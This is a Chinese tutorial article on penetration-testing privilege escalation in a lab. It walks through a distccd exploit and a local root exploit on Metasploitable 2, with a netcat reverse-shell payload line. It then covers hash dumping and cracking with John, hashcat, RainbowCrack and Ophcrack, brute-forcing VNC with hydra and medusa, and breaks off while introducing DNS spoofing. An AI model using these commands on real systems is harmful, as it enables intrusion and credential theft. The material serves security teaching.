查看原文
其他

渗透测试之提权

计算机与网络安全 计算机与网络安全 2022-06-01

一次性进群,长期免费索取教程,没有付费教程。

教程列表见微信公众号底部菜单

进微信群回复公众号:微信群;QQ群:460500587


微信公众号:计算机与网络安全

ID:Computer-network

利用漏洞的最终目的是获取被测系统的最高权限,即Windows操作系统中管理员账户的权限,或Linux操作系统中root账户的权限。


所以在利用漏洞之后就应当提升权限。提升权限的实质是通过利用漏洞的手段提高自身的操作权限。


提升权限的方式分为两类。


(1)纵向提权(vertical privilege escalation):如果低权限角色(的用户)能够获得高权限角色的权限,则这种提权就可称为纵向提权。例如,如果在提权之后,内容管理系统(CMS)的某个用户能够使用管理员的功能,那么这种提权就是纵向提权。


(2)横向提权(horizontal privilege escalation):如果获取了同级别角色的权限,这种提权就属于横向提权。例如,如果在网上银行里,用户 A 获取了用户 B 的权限,他可以替用户B进行操作,那么这种提权就属于横向提权。


越权提升权限的攻击矢量,大体可分为以下几种。


● 利用本地漏洞

● 利用目标系统上的配置缺陷。例如,如果 home 目录可被其他用户访问,那么攻击人员就可以使用目录里的SSH私有密钥访问其他主机。

● 利用目标系统的弱密码

● 嗅探网络流量以捕获他人的用户名和密码

● 伪造网络数据包。


一、利用本地漏洞


我们将使用本地漏洞的利用程序(local exploit)提升权限。


我们的演示环境如下。


● IP 为192.168.56.102,运行Metasploitable 2 的虚拟机充当被测主机。

● IP 为192.168.56.101,运行Kali Linux 的虚拟机充当测试平台。


首先,我们要扫描被测主机上的网络服务。通过下述指令进行端口扫描。


nmap –p- 192.168.56.102


我们通过-p-选项,令Nmap扫描被测主机的所有端口(1~65535)。


在扫描结束之后,Nmap会列出所有开放的端口(见图1)。

图1

我们通过网上资料确定distccd服务存在漏洞,可被用来执行任意指令。这个服务是一种分布式的编译工具,可协调多台主机协助完成大规模的编译任务。


然后,我们要确定Metasploit中是否有相应的exploit程序(见图2)。

图2

上述信息表明,Metasploit确有攻击distccd服务漏洞的exploit程序。


接下来,我们通过下述指令利用这个漏洞(见图3)。

图3

我们通过这个exploit利用了该服务的漏洞。而后,我们通过操作系统的指令看到已经获取到的权限是daemon的权限。


在进一步操作之前,我们应到获取被测主机的详细信息。现在,我们通过下述指令查看被测主机的内核版本。


uname –r


通过上述指令,我们了解到目标主机的内核是2.6.24-16-server。


我们搜索 exploit-db 的资料库,发现某个 exploit 程序可将我们的权限提升为root权限。下一步,我们在测试主机上保存exploit程序,然后使被测主机从测试主机下载这个程序。有关指令如图4所示。

图4

在被测主机上下载exploit之后,我们在被测主机上使用gcc指令编译exploit。


gcc privs.c -o privs


现在,我们制备好了exploit程序。在分析了exploit的源代码之后,我们发现这个exploit程序需要在命令行里使用 udevd netlink socket 的 PID(Process Identifier)作为参数。为此,我们使用下述指令获取这个PID值。


cat /proc/net/netlink


所获信息如图5所示。

图5

您也可以通过单条指令获取udev服务的PID。


ps aux | grep udev


上述指令的输出结果如下。


root 2391 0.0 0.1 2216 660 ? S <S 21:06 0:01 / sbin /udevd -daemon


即,udev服务的PID是2390。


在实际的渗透测试工作之中,您可能要安装一台内核与被测主机完全相同的测试主机,以测试exploit程序。


从被测主机上收集的信息判断,目标主机上安装有NetCat程序。成功运行exploit程序之后,我们就有了被测主机的 root 权限。我们再在被测主机上运行 netcat 程序,让它反向连接到测试主机。通过其源代码可知,这个 exploit 把文件名为 run 的可执行文件当作其payload。所以,我们需要制备这个payload。


echo '#!/bin/bash' > run

echo '/bin/netcat -e /bin/bash 192.168.56.101 31337' >> run


在执行payload之前,我们还要在测试主机上启动netcat的监听服务,以受理被测主机发起的连接。


nc -vv -l -p 31337


最后,我们在被测主机上运行下述指令。


./privs 2390


此后,我们可在测试主机上看到图6所示的信息。

图6

通过whoami指令,我们可看到已经成功提升自身权限为root的权限。


二、密码攻击


密码是当代系统验证用户身份的主要手段。只要某人能够递交正确的用户名和对应的密码,系统就允许这个人登录并允许他使用该账号的所有资源。


构成身份验证的要素可分为三大类。


● 基于所知(something you know)。这类认证要素通常被称为身份验证的第一要素。密码就属于这类要素。理论上来说,只有特定秘密的持有人才能“知道”有关秘密。然而不幸的是,这类信息很容易外泄,也易于被他人获悉。因此,机要系统应当采取其他方式的身份验证方式。


● 基于所有(somethingyou have)。这类认证要素通常被称为身份验证的第二要素。安全令牌、门禁卡等都属于这类认证要素。向系统出示相应的安全持有物后,持有者即可获得登录权。不过,持有物(信息)可被复制,所以这种身份验证方法并非没有缺陷。


● 基于特征(something you are)。这类认证要素通常被称为身份验证的第三要素。相比前两者而言,这类信息的身份验证方法更为安全。然而,已经出现了攻击这种验证方法的实际案例。指纹识别和视网膜识别都属于验证这类要素的手段。


如果有较高的安全需求,就应当验证一个以上的验证要素。高规格的安全系统往往验证第一要素和第二要素。因为这种方法验证了两种身份验证要素,因此被称为双要素验证。

然而不幸的是,我们的经验表明,目前多数系统广泛依赖单一的密码验证。作为渗透测试人员,您应当在测试过程中验证密码的安全性。


根据攻击方式的不同,密码攻击可分为以下几类。


● 离线攻击:这种攻击手段意在获取目标主机上的密码 hash 文件,并将该文件复制到攻击人员的主机。此后,攻击人员就可使用密码破解工具破解密码文件。这种方法的优点是无须顾及被测主机上的密码阻止策略(账户锁定等设置),因为有关破解工作是在攻击人员的主机上完成的。


● 在线攻击:如果采用这种方法,攻击人员将猜测用户名和对应的密码。因为需要多次猜测用户密码,所以这种方式因为可能会触发账户锁定等保护机制。


1、离线攻击工具


这类工具用于实施离线密码攻击。通常情况下,您会用这种工具破解高权限账户的密码,所以这些工具往往用于纵向提权


既然已经有了某种权限的账户信息,为什么还需要其他账户的登录信息呢?在对某个系统进行渗透测试时,受被测主机配置的影响,所用账户可能无法运行某些特定的应用程序。这种情况下,您就无法进行下一步测试。但是,如果使用常规用户身份登录,您就可以正常运行那些程序了。这是需要获取其他账户信息的原因之一。


现在的主流系统在存储密码的时候都只保存密码的hash(哈希值)。通过哈希算法密码可被转换为固定长度的消息摘要。这种转换是不可逆的单向转换。所谓单向转换是指:这种算法可将既定原始值轻松地转换为某个哈希,而没有实用的方法可以从哈希值逆向推导出原始的输入值。


过去,计算机系统保存密码明文。如果攻击人员获取到密码文件,那么他就获取了全部的密码。现在,即使攻击人员获取了密码文件,他们也只能获取密码的哈希值,还是无法轻易获取原始密码


密码破解是以穷举的方式做哈希碰撞。如果所测密码的哈希值与文件中的哈希值相符,就意味着猜测到了正确的密码


在利用SQL注入漏洞之后,测试人员就可导出整个数据库,继而可找到密码的哈希值。离线破解工具可以帮助测试人员从哈希值中获取记录的原始信息。


在一次渗透测试项目里,我们导出了整个数据库。这个数据里存有整个E-mail系统的用户名和密码。借助这些信息,我们以某个关键人物的身份登录到了E-mail系统,并获取了各种机要系统的账户信息。


(1)hash-identifier


这款工具可识别哈希的类型。只有知道被测系统采用了什么哈希算法,才能使用密码破解工具破解哈希值。


假如我们获取了下述哈希值。


d111b38c0e73bc867c4bad4023606a0e0df64c2f


我们可直接使用hash-identifier指令,并在HASH值字段输入哈希值。具体过程如图7所示。

图7

上述信息表明这个值是SHA-1型的哈希值。接下来,我们可以使用Hashcat程序破解这个哈希值中的信息。


不过这个程序的可靠性有待提高。我们可能会遇到下述情况。


HASH: 8846f7eaee8fb117ad06bdd830b7586c

Possible Hashs:

[+] MD5

[+] Domain Cached Credentials - MD4(MD4(($pass)).

(strtolower($username)))


即,hash-identifier 认为这个值属于 MD5 或 MD4 型的哈希。不过这个哈希是经NTLM算法得来的。


(2)Hashcat


Hashcat是一款免费的多线程密码破解工具。目前,它可破解80种算法的哈希值。Hashcat 程序完全依赖 CPU 运算,它要比利用GPU(Graphical Processing Unit)运算的密码破解程序要慢一些。


Hastcat支持6种攻击模式。


● Straight:程序会从文本文件里逐行读取数据,并把这些数据当作密码的备选值。这是默认的攻击模式,通常也被称作字典式攻击模式。


● Combination(组合模式):Hashcat 将会把字典中的单词进行排列组合,再做哈希碰撞。例如,如果字典中含有以下单词:


○ password

○ 01


那么Hashcat将会尝试的密码将是:


○ passwordpassword

○ password01

○ 01password

○ 0101


● Toggle Case(穷举大小写组合):程序将会尝试每个字典单词的各种大小写组合。


● Brute force(暴力破解):程序将会从关键字空间中取样再做排列组合。这种攻击模式正在被 mask attack 所取代。例如,如果我们设定程序测试 A-Z 组成的双字符密码,那么Hashcat将会尝试AA到ZZ的所有英文字符组合。


● Permutation(排列组合):对于字典里每个备选密码,程序将会按照字符进行各种排列组合。例如,如果字典里有AB这个备选密码,那么Hashcat将会测试的密码如下:


○ AB

○ BA


● Table-lookup(表查询):程序将把字典里每个备选密码的每个字符都当作对应的mask进行处理。这是一种自动匹配模式的穷举攻击。


现在开始演示Hashcat的适用方法。


如果在执行Hashcat的时候指定--help选项,您将看到Hashcat的帮助信息。我们可通过这些帮助信息查看各个选项的使用方法。


假设我们获取了文件名为test.hash的密码文件,并从中找到了下述哈希值。


5f4dcc3b5aa765d61d8327deb882cf99


我们可使用rockyou.txt文件作为Hashcat的密码字典。简便起见,我们可把密码文件和字典文件放在同一个目录下。用pwd指令查看当前目录的目录名。


然后我们通过下述指令,令Hashcat以默认的攻击方式测试密码


hashcat -m 100 test.hash rockyou.txt


其中,选项-m 100 指定了hash 的类型为SHA-1。


我们可看到图8所示的信息。

图8

上述信息表明,程序成功的破解了该哈希值。即,密码原文是password01。


默认攻击模式的破解速度比较快。如果密码字典没有命中正确的密码,您就需要尝试其他的攻击模式。


Hashcat系列有很多密码破解工具。其中部分程序可以使用GPU破解密码;所以只要您的电脑装有兼容的GPU,那么破解速度还是相当理想的。请注意,无法在VM虚拟机里使用基于GPU破解的程序,因为在虚拟机里运行的程序无法直接调用物理主机的硬件。此外,显卡的兼容性也很重要。要使用基于GPU运算的破解程序,您的显卡需要支持CUDA(NVidia)或OpenCL(AMD)技术。在Hashcat系列里,支持基于GPU运算的破解程序有下面几个。


● oclhashcat-lite:它是一款基于GPU 运算的密码破解程序。在Hashcat 系列工具里,它算得上是速度最快的破解工具。不过它支持的哈希算法有限(约30种),而且只支持markov、brute force 和mask 模式的密码攻击。


● oclhashcat-plus:它是一款基于 GPU 运算的密码破解程序,支持多数哈希算法。这个程序针对字典式攻击进行了各种优化,可同时破解多个哈希值。oclhashcat-plus 工具支持的攻击模式有brute foce(以mask attack 模式实现)、combinator attack、dictionary attack、hybrid attack、mask attack和基于规则的攻击。


(3)RainbowCrack


彩虹表破解(RainbowCrack)是利用彩虹表来破解哈希数据的工具。它实现了由Philippe Oechslin提倡的“以空间换时间”的技术思想。


这种破解密码的方式有别于暴力破解。暴力破解攻击首先计算密码的备选值(字典里的密码)的哈希值,然后再将计算出来的哈希值与获取到的哈希值进行对比。如果这两个值相等,则可确定哈希值的原始内容即是密码;否则就说明密码不正确。


彩虹表破解法的效率也高于暴力破解法。这是因为暴力破解法必须计算字典内容的哈希值,然后进行匹配。而使用“以空间换时间”技术的彩虹表破解法,事先就计算好了字典各项的哈希值,破解过程只是简单的数值比较,所以效率更高。


RainbowCrack程序速度不快,而且不支持多线程。人们已经修改了这个程序,使之支持多线程技术和部分显卡采用的 CUDA 技术。


Kali Linux 收录了RainbowCrack的三大工具。在破解哈希时,您必须依次使用这些工具。


● rtgen:生成彩虹表的程序。生成彩虹表的计算过程也被称为彩虹表的预计算阶段。彩虹表包含字典、哈希值、哈希算法、字符集以及字典的长度范围。彩虹表的预计算相当费时。但是生成彩虹表之后,彩虹表破解法将比暴力破解法的效率要高上不少。rtgen 程序支持的算法有 LanMan、NTLM、MD2、MD4、MD5、SHA1 以及RIPEMD160。


● rtsort:对rtgen 生成的彩虹表进行排序的工具。


● rcrack:利用彩虹表査找哈希值的工具。


如需启动生成彩虹表的rtgen工具,可在终端窗口中执行下述指令。


# rtgen


上述指令将会显示简单的使用说明,以及两个指令范例。


本例将使用这个程序制作两个彩虹表,并使其符合下述要求。


● hash algorithm(算法):md5

● charset(字符集):loweralpha

● plaintext_len_min:1

● plaintext_lan_max:5

● rainbow_table_index:0

● rainbow_ chain_length:2000

● rainbow_chain_count:8000

● part_index:0


依照以上要求,制作第一个彩虹表所需的指令如下所示。


# rtgen md5 loweralpha 1 5 0 2000 8000 testing


此后,屏幕上会显示图9所示的信息。

图9

第一个彩虹表的文件名为 md5_loweralpha#1-5_0_2000x8000_0.rt,并被保存在目录/usr/share/rainbowcrack/之下。


制作第二个彩虹表所需的指令如下所示。


# rtgen md5 loweralpha 1 5 1 2000 8000 0


在这里的系统中,生成上述两个彩虹表总耗时为 3 分钟左右。第二个彩虹表被保存为md5_loweralpha#1-5_1_2000x8000_0.rt文件。


请注意,彩虹表的制作过程十分耗时,而且彩虹表文件非常大。如果需要估算彩虹表的耗时情况,可使用Winrtgen程序。


Winrtgen 是Windows的应用程序。若要在Kali Linux 中运行它,就需要使用Wine环境。


Winrtgen程序的图形界面如图10所示。

图10

rtsort


制作彩虹表之后,应当对其进行排序。此时可选用rtsort程序。


若要在指令行中启动rtsort程序,可在终端中执行下述指令。


# rtsort


上述指令将会显示简单的使用说明以及指令范例。在本例中,我们将通过下述指令对第一个彩虹表进行排序。


# rtsort md5_loweralpha#1-5_0_2000x8000_0.rt

md5_loweralpha#1-5_0_2000x8000_0.rt:

1176928256 bytes memory available

loading rainbow table...

sorting rainbow table by end point...

writing sorted rainbow table...


然后,采取相同的操作对第二个彩虹表进行排序。


# rtsort md5_loweralpha#1-5_1_2000x8000_0.rt

md5_loweralpha#1-5_1_2000x8000_0.rt:

1177255936 bytes memory available

loading rainbow table...

sorting rainbow table by end point...

writing sorted rainbow table...


rtsort工具会用排序的结果覆盖原文件。


在rtsort程序的运行期间,请耐心等待程序结束。切勿中断程序,否则将会破坏彩虹表文件。


接下来,我们将使用5个字符字典的彩虹表碰撞(破解)密码的MD5哈希值。请注意,因为我们使用了两个彩虹表,所以成功率大约为86%。


rcrack


要在指令行中启动rcrack程序,可在终端中执行下述指令。


# rcrack


上述指令将会在屏幕上显示简单的使用说明以及指令范例。


本次将破解abcde 的MD5 散列值ab56b4d 92b40713acc5af89985d4b786。


# rcrack /usr/share/rainbowcrack/*.rt -h

ab56b4d92b40713acc5af89985d4b786


上述指令的运行结果如图11所示。

图11

上述结果表明,rcrack程序成功地破解(碰撞)了给定哈希值的明文。整个破解过程的耗时大约为2秒。


rcrack的改进版本叫做rcracki_mt。改进版支持混合(hybrid)和索引(indexed)表,并且采用了多线程技术。


(4)samdump2


Windows 系统的账户密码,以哈希值的形式储存于 SAM 的文件型数据库里。samdunip2可破解这种哈希。无需SysKey(System Key),samdump2 程序就可破解密码的哈希值。SysKey是由Windows NT Service Pack 3引入的概念,它是保护 Windows SAM数据库的加密密钥。


如需启动samdump2,可在命令行中输入如下命令。


# samdump2


上述指令将会显示简单的使用说明。


获取Windows密码哈希值的方法有很多。


● 第一种方法:直接使用samdump2 程序分析Windows 系统和SAM文件。有关信息都保存在 c:\%windows%\system32\config目录下。不过,在Windows运行期间,该目录被锁定保护。所以,可通过Linux Live CD(例如 Kali Linux)启动计算机系统,然后挂在 Windows 系统的磁盘分区。在此之后,您就可以把Windows的SAM文件复制到Kali主机上。


● 第二种方法:使用pwdump程序或同类型的相关工具把Windows账户的密码哈希值导出来。


● 第三种方法:参见 Meterpreter 脚本的使用方法,再执行hashdump命令把密码的哈希值导出来。使用这种方法的前提是您首先要成功利用好主机的漏洞,并能够上传Meterpreter的脚本。


下一步,我们将演示Windows XP SP3 密码的破解方法。假设您已经取得system 和sam文件,将它们以同文件名保存在home目录下,那么破解哈希值的命令如下所示。


# samdump2 system sam -o test-sam


通过上述指令,我们把samdump2的输出结果保存为文件test-sam。这个文件的内容如下所示。


Administrator:500:e52cac67419a9a22c295285c92cd06b4:b2641aea8eb4c00ede89c d2b7c78f6fb:::

Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c08 9c0:::

HelpAssistant:1000:383b9c42d9d1900952ec0055e5b8eb7b:0b742054bda1d884809e 12b10982360b:::

SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:a1d6e496780585e33 a9ddd414755019a:::

tedi:1003:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c08 9c0:::


接下来就可以用密码破解工具破解test-sam文件的哈希值。您可以选用下面介绍的John和Ophcrack。


(5)John


John the Ripper/John是一款破解密码哈希的工具。目前,这款工具可以破解40 多种类型的密码哈希。它可破解常见的 DES、MD5、LM、NT、crypt、NETLM和NETNTLM型哈希。虽然破解哈希的软件有很多,但是DES和crypt型哈希的破解功能使John成为一枝独秀。


如需启动John程序,可在终端中使用下述指令。


# john


上述指令将会在屏幕上显示简单的使用说明。


John的密码破解模式分为以下4种。


● 字典模式(Wordlist mode):在这种模式下,用户只需要提供字典文件(wordlist)就可以破解密码文件。字典文件是包含密码备选值的文本文件,文件中的每行内容都将被当作一个用来进行碰撞测试的候选密码。这种模式具备“字词变化”(就是某种规则)的功能,(这种规则)可自动套用在每行的备选密码中,以提高破解的概率。--wordlist=<wordlist_ name>选项用于指定字典文件。这种字典可以是您自己制作的字典,也可以是他人制作的字典。许多网站都提供字典下载。


● 简易破解模式(Single crack mode):这是John程序作者推荐的应当首先尝试的破解模式。在这种模式下,John会使用登录名、全名和用户的home文件夹名作为测试的候选密码,并使用候选密码来碰撞(破解)相应账户的密码,或者破解使用相同salt加密的密码哈希。就结果而言,这种模式比字典模式要快得多。


● 增强型破解模式(Incremental mode):这种模式是John 各种模式里功能最强大的破解模式,它会尝试所有可能的密码组合。不过,如果用户不设置密码的测试区间,程序将会非常耗时。测试区间由密码长度的上限和字符集的设置构成。要这种破解模式破解密码,必须指定相应的破解模块。程序预设的模块有All、Alnum(字母和数字)、Alpha(字母)、Digits(数字)和 Lanman;您也可以根据实际需要自定义一个测试模块。


● 外部模式(External mode):在这种模式下,用户可以指定John程序使用外部(源)程序破解密码。如需使用这种模式,您首先应在配置文件里创建一个[List.External:MODE]的节点(section)。其中,MODE就是这种模式的一个(任意)名字,而这个节点的内容应当是C语言编写的生成候选密码的各种函数。以这种模式启动程序之后,John会编译这个节点内的源代码,并使用它进行密码破解


如果没有明确指定John的破解模式,它将会按默认顺序进行破解:首先采用简易破解模式,然后尝试字典式破解,最后进行增强式破解。


在使用John程序之前,您首先需要拿到包含密码信息的哈希文件。Linux一类的操作系统密码哈希多数都保存在shadow文件和passwd文件里。另外,只有root级别的用户才能要读取shadow文件。


在获取密码信息文件之后,您需要对这些文件做一些处理;否则John无法破解其中的哈希。好在John提供的unshadow程序可进行这种处理。


从Metasploitable2的虚拟机中提取出/etc/shadow和/etc/passwd,然后把它们放在同一个目录里,并分别重命名为etc-shadow和etc-passwd。然后,使用下述指令将shadow和passwd文件进行合并处理。


# unshadow etc-passwd etc-shadow > pass


以下是pass文件的部分内容。


root:$1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid.:0:0:root:/root:/bin/bash

sys:$1$fUX6BPOt$Miyc3UpOzQJqz4s5wFD9l0:3:3:sys:/dev:/bin/sh

klog:$1$f2ZVMS4K$R9XkI.CmLdHhdUE3X9jqP0:103:104::/home/klog:/bin/false

msfadmin:$1$XN10Zj2c$Rt/zzCW3mLtUWA.ihZjA5/:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash

postgres:$1$Rw35ik.x$MgQgZUuO5pAoUvfJhfcYe/:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash

user:$1$HESu9xrH$k.o3G93DGoXIiQKkPmUgZ0:1001:1001:justa user,111,,:/home/user:/bin/bash

service:$1$kR3ue7JZ$7GxELDupr5Ohp6cjZ3Bu//:1002:1002:,,,:/home/service:/bin/bash


第二个字段为空的行,没有密码信息。可删除这些行以加快密码破解的速度。


可使用下述指令破解密码;其中,pass就是需要破解的密码文件,也就是刚刚合并处理的那个文件。


# john pass


如果John程序能够破解这些密码,它就会把破解的密码储存为john.pot。


如需查看破解出来的密码,可使用下述指令。


# john --show pass


在本例中,John快速地破解出了多个密码,并返回图12所示的信息。

图12

由下表可见,John成功破解出了多个密码

上述密码文件(pass文件)包含有7个账户密码的信息,John成功地破解出了其中的6组密码。它没能快速破解出root的密码


如需清空John程序的缓存,就要删除文件/root/.john/john.pot。


要破解Windows密码,就要使用pwdump(工具集)把SYSTEM和SAM文件中的密码哈希值(LM和/或NTLM算法)提取出来。


接下来,我们使用字典文件 password.lst 破解 samdump2 导出的哈希信息。此时需要使用的指令如下所示。


# john test-sam --wordlist=password.lst --format=nt


上述指令的运行信息如图13所示。

图13

上述信息表明,test-sam文件中的管理员密码如下所示。


password01


然后我们通过下述指令查看破解的结果(见图14)。


# john test-sam --format=nt --show

图14

上述信息表明:John 成功破解出了 Windows 主机的管理员密码,但是它未能破解出常规用户tedi的密码


(6)Johnny


如果您对John程序复杂的命令行指令望而却步,那么您可能会喜欢它的图形化版本——Johnny。Johnny 程序的图形化界面非常友好,您不必在命令行里逐一指定John程序的各个选项。


如需启动Johnny程序,可在终端中使用下述指令。


# johnny


上述指令将启动Johnny的图形化界面。


我们使用这个程序分析前一个例子中 Metasploitable 2 系统的哈希。其分析结果如图15所示。

图15

上述信息表明,Johnny破解哈希的能力和John程序相同。


(7)Ophcrack


Ophcrack是一款基于彩虹表的破解工具。它可破解LM和NTLM型的Windows密码哈希。这款程序有命令行版本,也有图形化界面的版本。因为它属于彩虹表破解工具,所以Ophcrack采用的破解策略同样是以空间换时间的策略。


Windows NT 和早期的 Windows 系统(包括 2000/XP)采用 LAN Manager(LM)保存用户密码的哈希。


后来,微软推出了NT LAN Manager(NTLM)哈希,以替代LM哈希。NTLM 算法可对账号进行认证,并实现了会话的完整性和保密性。Windows NT SP4开始,Windows系统开始逐步采纳更为安全的NTLM v2的算法。这种新算法增强了服务器和用户之间的认证功能。微软已经不再推荐用户使用NTLM哈希。


如需在命令行中启动Ophcrack程序,可在终端中使用下述指令。


# ophcrack-cli


上述指令将会在屏幕上显示简单的使用说明及相关范例。


如需启动Ophcrack GUI,可在终端中使用下述指令。


# ophcrack


上述指令将会启动Ophcrack GUI(图形化界面)。


Ophcrack 需要彩虹表才能进行破解哈希。所以,我们先要先从其官方网站下载彩虹表。目前,官方免费提供Windows XP 和Vista 彩虹表。对于字符集为数字和英文大小写字母的密码、且长度在10~14个字符以内的常规密码,它的破解成功率高达99%以上。


以xp_free_small为例。下载它之后,我们将其解压缩并把解压后的文件放进xp_free_small 目录。然后Windows XP 的散列文件以pwdump 格式保存为文件test-sam。


接下来,我们使用下述命令破解先前获取的哈希。


# ophcrack -d fast -t fast -f test-sam


在运行期间,Ophcrack的提示信息如下。


Four hashes have been found in test-sam:

Opened 4 table(s) from fast.

0h 0m 0s; Found empty password for user tedi (NT hash #1)

0h 0m 1s; Found password D01 for 2nd LM hash #0

0h 0m 13s; Found password PASSWOR for 1st LM hash #0in table XP free fast #1 at column 4489.

0h 0m 13s; Found password password01 for user Administrator (NT hash #0)

0h 0m 13s; search (100%); tables: total 4, done 0, using 4; pwd found 2/2.


程序的运行结果如下。


Results:

username / hash LM password  NT password

Administrator  PASSWORD01  password01

tedi    *** empty ***  *** empty ***


可见,Ophcrack 破解了相应用户的所有密码


(8)Crunch


Crunch是一款基于用户标准来创建密码字典(wordlist)的工具。密码字典通常用于暴力破解。


如需启动Crunch程序,可在终端中使用下述指令。


# crunch


上述指令将会在屏幕上显示简单的使用说明及相关范例。


如果要创建由字母组成的密码长度在5个字符以内密码字典,并指定密码字典的文件名为5chars.txt,我们可使用下述指令。


# crunch 1 5 –o 5chars.txt


上述指令的输出内容如图16所示。

图16

文件5chars.txt的内容如下。


a

b

c

...

zzzzx

zzzzy

zzzzz


这个文件的内容表明,上述指令创建了从a到zzzzz的各种字符串,并将其组织为密码字典。


接下来,我们要创建由小写字母和数字组成的密码长度在 4 个字符以内的密码字典,并指定字典文件的文件名为wordlist.lst。


根据以上需求,我们需要使用下述指令。


# crunch 1 4 -f /usr/share/crunch/charset.lst lalpha-numeric

-o wordlist.lst


上述指令的输出内容如下。


Crunch will now generate the following amount of data: 8588664 bytes

8 MB

0 GB

0 TB

0 PB

Crunch will now generate the following number of lines: 1727604

100%


在测试的主机上执行上述指令,耗时大约1.5分钟。密码字典wordlist.lst的内容如下。


a

b

c

...

9997

9998

9999


2、在线破解工具


所谓在线破解,意味着这类工具在与被测主机建立连接之后才能破解密码


要介绍的工具可分为以下几类:


● 制作密码字典;

● 搜索密码的哈希值;

● 在线密码破解工具。


在线密码破解工具会采取常规用户登录的方式,以用户名和密码登录远程主机的网络服务。它会不断尝试各种用户名和密码,直到发现正确的账户信息为止。


这类工具存在暴露的风险。因为测试主机会直接连接到被测主机,所以可能会被对方发现甚至会被屏蔽。因为这些工具使用的是标准登录过程,所以在破解效率方面比离线攻击软件的效率更高。

虽然在线攻击工具速度不快,也可能触发帐户锁定机制,但是对于 SSH、Telnet 和FTP这类服务来说,在线攻击是密码破解的唯一方式。在进行在线的密码攻击时,务必加倍小心;尤其是在攻击 Active Directory(AD)服务器的账户时,暴力破解可能会锁定所有的域账户。要避免发生锁定账户的情况,不仅要事先查看密码和用户锁定策略,在测试密码时最好还要使用同一个密码对所有用户名进行测试(轮换用户名,而不是轮换密码)。


(1)CeWL


CeWL是一款以爬虫模式在指定URL上收集单词的工具。把它收集到的单词纳入密码字典,可提高密码破解工具(例如John the Ripper)的命中率。


CeWL程序有很多选项,其中较为常用的如下所示。


● --depth N 或-d N:提取深度,分析 N 级链接以内的网页内容;提取深度的默认值是2。

● --min_word_length N 或-m N:单词的最小长度,少于N 个字符的单词不会被收录;单词最小长度的默认值是3。

● --verbose 或-v:详细提示模式。

● --write 或-w:设定输出文件的文件名。


如果在运行CeWL时遇到Error: zip/zip gem not installed错误,那么就要使用gem install zip/zip 指令安装相应的功能包:


# gem install zip

Fetching: zip-2.0.2.gem (100%)

Successfully installed zip-2.0.2

1 gem installed

Installing ri documentation for zip-2.0.2...

Installing RDoc documentation for zip-2.0.2...


结合上述选项,我们使用下述指令从目标网站收集单词。


cewl -w target.txt http://www.target.com


稍等片刻之后,程序会把收集到的单词保存为文件target.txt。在Kali系统里,这个文件位于目录/usr/share/cewl。


我们打开上述目录里的target.txt文件,可以看到下述内容。


Device

dataset

sauerlo

Sauer

agentChange

ouput

fileWrite

oBy

strips

mThe

270

Specialforces

Damian

GoD

zERo

zine

Disney

N00bz

xThe

Cracked

Question

Marc

Doudiet

Swiss

Strafor

Electric

Alchemy


(2)Hydra


Hydra是一款猜测并破解用户名和密码的工具。它支持多种网络协议,可破解HTTP、FTP、POP3和SMB等协议的密码。它会使用字典并行穷举网络服务的用户名和密码。默认情况下,它向目标主机发起16个并行连接同时进行多组测试。


如需启动Hydra程序,可在终端中使用下述指令。


# hydra


上述指令将会在屏幕上显示简单的使用说明。


本例将演示使用hydra程序破解192.168.56.101的VNC服务器的密码。如果密码字典的文件名是password.lst,我们可使用下述指令。


# hydra -P password.lst 192.168.56.101 vnc


上述指令的运行结果将如图17所示。

图17

上述信息表明,Hydra 成功地破解了 VNC 服务器的密码。被测服务器使用的密码是password01和password。


下一步工作就是验证Hydra破解的密码。我们可直接运行vncviewer程序,使用这些密码连接到远程主机的VNC服务器。


使用vncviewer验证密码的情况如图18所示。

图18

上述信息表明,破解的密码可以连接到VNC服务器,而且该密码还具有服务器的root权限。捡到大便宜了!


Hydra程序有一个对应的GUI程序。


# xhydra


上述指令将会启动Hydra的GTK图形界面程序。使用这个程序破解SSH服务密码的情况如图19所示。

图19

经验表明,xhydra程序不如其命令行程序hydra那样灵活,不能调整很多设置。例如,在破解 VNC 服务时,xhydra无法设置用户名;更为不幸的是,它就没有设置用户名的功能。


(3)Medusa


Medusa是另外一款在线破解网络服务密码的程序。它具有速度快、并发性能强和模板化的特点。现在,它能够通过相应模板破解CVS、FTP、HTTP、IMAP、MS-SQL、MySQL、NCP(NetWare)、PcAnywhere、POP3、PostgreSQL、rexec、Rlogin、rsh、SMB、SMTP(VRFY)、SNMP、SSHv2、SVN、Telnet、VmAuthd、VNC协议,另有一个通用处理模板。


在实际的渗透测试工作中,可同时使用这两款工具、尽可能地获取被测主机的各种信息。


如需启动Medusa工具,可在终端中使用下述指令。


# medusa


上述指令将会在屏幕上显示简单的使用说明。


Medusa程序有很多选项,其中常用的一些选项如下所示。


● -u 或-U[FILE]:指定用户名或用户名字典。

● -h 或-H[FILE]:指定主机名或主机名字典。

● -p 或-P[FILE]:指定密码密码字典。

● -M:配置测试所用的模板的名称。亦可通过-d 选项搜索模板。

● -O:设置输出文件的文件名。

● -V:设置提示信息的详细程度。如果使用了-v 4 选项,将只能看到成功破解的登录凭据。


前面,我们用Hydra破解了VNC服务器的密码;现在我们再用Medusa作一次相同的破解试验。


# medusa -u root -P password.lst -h 192.168.56.101 -M vnc -v 4


上述指令的运行结果如下。


Medusa v2.0 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks

<jmk@foofus.net>

ACCOUNT FOUND: [vnc] Host: 192.168.56.101 User: root Password:

password [SUCCESS]


Medusa只找到了一个VNC密码;相比之下,Hydra能够找到了两个VNC密码


三、网络欺骗工具


网络欺骗(network spoofing)泛指修改网络数据的各种手段。例如,伪造MAC 地址、伪造IP地址等的数据,都属于网络欺骗的范畴。网络欺骗旨在于获取网络上两个会话主机的通信数据。


1、DNSChef


DNSChef是一款DNS代理工具。它可替DNS服务器对被测主机进行DNS回复,把域名解析为攻击者管控的IP,从而让攻击者的主机扮演真正的服务器的角色。DNSChef的这种功能可用来分析甚至控制客户主机的网络流量。


在使用DNSChef之前,您需要对被测主机进行调整,指定DNSChef的主机为被测主机的DNS服务器。


● 如果被测主机安装的是Linux 系统,那么您应当修改/etc/resolv.conf 文件。

